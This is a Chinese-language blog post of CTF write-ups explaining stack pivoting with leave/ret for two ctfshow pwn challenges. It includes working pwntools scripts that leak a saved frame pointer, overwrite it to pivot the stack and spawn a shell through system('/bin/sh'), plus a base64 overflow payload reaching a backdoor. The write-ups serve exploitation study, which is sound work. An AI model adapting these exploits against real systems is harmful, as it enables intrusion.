STACK

本文最后更新于 2025年11月9日 下午

Stack pivoting

核心汇编

  • leave :mov esp,ebp pop ebp;
  • ret :pop eip;

原理实现

正常leave,ret还原现场

劫持栈空间(劫持rsp)

例题

ctfshowpwn75

read只允许我们读入0x30,存在后门system,但是没有/bin/sh,架构是i386,那么意味着我们只能读入两个地址(两个值)一个值覆盖old’s ebp,一个值会覆盖ret

程序通过leave,ret还原现场

leave 本质就是mov esp,ebp; pop ebp

那么我们的思路只能是往栈上写/bin/sh然后计算它在栈上的地址,把它的地址传递给backdoor

栈上地址?ebp不就是在栈上的吗?不管是哪个个函数的ebp,都是始终在栈上的

那么我们可以通过leak ctfshow()这个函数保存的old’s ebp来表示我们写入栈上的/bin/sh

具体做法是利用printf不遇到\x00不终止的特性,我们利用第一次read填写junk data(垃圾数据不能存在0这个数据)到ebp的位置,通过printf解析出old’s ebp

1
2
3
4
5
6
payload = (0x24)*b'a' + b'TTTT'
s(payload)
ru('TTTT')

ebp = int.from_bytes(rud('\n')[:4],'little')
lgw(hex(ebp))

通过调试,查看old’s ebp到我们读入数据的地址的差值,利用ebp来表示其地址:sAddr = ebp-0x38

然后我们想想怎么实现

  1. 它的ret—-> system.plt
  2. system的参数为Addr—->’/bin/sh’

这里有一点要注意,i386架构下的程序通过栈传参,也就是说通过esp或者ebp传参

通过这个,要想将我们写的’/bin/sh’传递给system,就需要控制esp

  • 通过ROPgadget
  • 通过leave

因为只能写一个地址,那么ROPgadget完全无法实现,那么我们就只能考虑leave(mov esp,ebp;pop ebp)

通过修改old’s ebp的值,在退出ctfshow()这个函数的时候,esp就会因为old’s ebp的值而被我们操控

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
p = p32 if i386 else p64 
u = u32 if i386 else u64

elf = ELF('./pwn')
leaveRet = 0x080484d5
system = elf.sym['system']
payload = (0x24)*b'a' + b'TTTT'
# gdp()
s(payload)
ru('TTTT')
ebp = int.from_bytes(rud('\n')[:4],'little')
lgw(hex(ebp))

sAddr = ebp-0x38

payload = p(system) + p(0) + p(sAddr+0xc) +b'/bin/sh\x00'
payload = payload.ljust(0x28,b'a')
payload += p(sAddr-4) + p(leaveRet)
# 修改old's ebp ----> sAddr-4
# 修改ret为 leaveRet 人为控制esp
sl(payload)

inter()

ctfshowpwn76

先输入一个字符串,要求不能超过30的长度,

接着对这个字符串进行base64解码,得到解码后的长度,检查长度是否大于0xC

最后将小于0xC的解码后的字符串复制到input中,进行hash验证,如果通过,则进入backdoor

这里则出现危险函数,mmcpy,v4的空间只到了ebp-8h,但是a1的值可以到0xC,那么就会修改ebp所指向的栈基地址

那么就可以往input上写入payload,长度只能为0xC,也就是说只能玩里边写入4个值(p32()),如果大于则程序会结束,将栈基址修改成input的地址,劫持栈空间,控制程序流

这里要注意这里是通过leave,retn来还原现场的,那么就会出现pop rbp,所以payload的前四个字节用垃圾数据填充**(具体参看:原理-劫持栈空间)**

1
2
3
4
5
6
7
8
9
10
11
12
p = p32 if i386 else p64 
u = u32 if i386 else u64

elf = ELF('./pwn')

shAddr = 0x0811EB40
backdoor = 0x08049284
payload = p(0) + p(backdoor) + p(shAddr)
payload = base64.b64encode(payload)
sl(payload)

inter()

STACK
https://tforevery.github.io/STACK/
作者
TY
发布于
2025年11月9日
许可协议